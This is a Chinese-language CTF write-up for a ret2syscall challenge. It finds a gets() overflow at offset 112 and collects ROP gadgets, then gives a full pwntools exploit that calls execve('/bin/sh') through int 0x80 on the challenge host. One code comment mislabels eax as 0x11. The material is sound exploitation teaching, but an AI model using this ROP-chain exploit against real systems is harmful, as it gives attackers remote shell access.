HappyNewYearCTF_9_ret2syscall
题目地址:https://ctf.cssec.cc/games/25/challenges
Author: Sonder
Difficulty: Normal
Category: ROP
通过模拟系统调用
execve('/bin/sh', 0, 0)的过程,劫持程序执行流
题目分析
首先还是老规矩,看下保护情况,可见无canary,无PIE, 并且是个32位程序,接下来开搞!

分析代码,可见这里用的是gets来进行数据读取,其特征是会读取到\n所在为止。这里是读取到v4变量里,也就是4个字节,必然存在溢出风险。

简单来gdb调试试一下,看下溢出情况,可见溢出点为112
➜ gdb 9_ret2syscall
pwndbg> cyclic 400
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
pwndbg> r
......
pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

接下来,我们来想办法构造exp,通过字符串搜索,可以看到存在/bin/sh
.rodata:080BE408 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o
然后分析got表,发现没对system等危险函数进行引用。通过file可以看出本题为静态链接,故无法ret2libc
shell
➜ 9_ret2syscall file 9_ret2syscall
9_ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
ret2syscall
syscall介绍
在 32 位 Linux(x86) 中,用户态程序不能直接执行内核功能 (比如创建进程、读写文件、执行程序)。要请求内核帮忙,必须通过 系统调用(syscall)。
之前我们常用的system函数,其本质也是进行syscall的调用。其在汇编代码中可以通过指令int 0x80来实现,但在调用之前,我们需要去进行参数构造。其中eax是我们想要调用的函数。
在这里,我们可以通过:https://syscalls.w3challs.com/ 网站来进行syscall号码的查询。
| 作用 | 寄存器 |
|---|---|
| syscall 号 | eax |
| 第 1 个参数 | ebx |
| 第 2 个参数 | ecx |
| 第 3 个参数 | edx |
| 第 4 个参数 | esi |
| 第 5 个参数 | edi |
| 第 6 个参数 | ebp |
在众多可以调用的函数中, execve函数(11)常常被我们用来做一些坏事,其可以执行命令,我们通过如下语句即可实现执行shell
c
execve("/bin/sh",NULL,NULL)
根据其定义,我们只需构造如下内容,即为通过syscall调用命令执行shell。
eax = 11
ebx = &"/bin/sh"
ecx = 0
edx = 0
int 0x80
ROP构造
分析完了题目,我们开始构造ROP,先来看一下,我们溢出时寄存器的构造,可以看到eax、ebx、ecx、edx均需要我们去挨个构造。

通过ROPgadget来进行ROP链寻找,可以找到如下gadget:
0x080bb196 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x08049421 : int 0x80
EXP编写
py
from pwn import *
# =======================
# 基础环境配置
# =======================
# 指定 pwntools 在 tmux 中分屏打开 gdb
context.terminal = ['tmux', 'splitw', '-h']
# 打开 debug 日志,方便观察 send / recv / ROP 执行过程
context.log_level = 'debug'
HOST = 'challenges.ctf.cssec.cc'
PORT = 32799
# 远程环境(比赛 / 实际利用)
r = remote(HOST, PORT)
# 本地调试(需要时切换)
# r = process('9_ret2syscall')
# =======================
# gdb 调试(可选)
# =======================
# 在关键地址下断点,观察 ROP 执行情况
# gdb.attach(r, gdbscript='''
# b *0x08049421
# c
# ''')
# =======================
# ROP 相关地址准备
# =======================
pop_eax = p32(0x080bb196) # pop eax ; ret
pop_edx_ecx_ebx = p32(0x0806eb90) # pop edx ; pop ecx ; pop ebx ; ret
int_0x80 = p32(0x08049421) # int 0x80
addr_binsh = p32(0x080be408) # /bin/sh
exp = b'a' * 112
exp += pop_eax #
exp += p32(0xb) # eax = 0x11
exp += pop_edx_ecx_ebx
exp += p32(0x0) # edx = 0
exp += p32(0x0) # ecx = 0
exp += addr_binsh # ebx = /bin/sh
exp += int_0x80
r.recvuntil(b'plan to do?\n')
r.sendline(exp)
r.interactive()
注意:什么时候用ret2syscall?什么时候用ret2libc?
ret2syscall
- 需要有
int 0x80的gadget。 - 需要可控
eax、ebx、ecx、edx。 - 需要有
/bin/sh字符串(若没有,还的libc)。
ret2libc
-
相比于syscall,其对可控的寄存器要求更少。
-
必须要动态链接。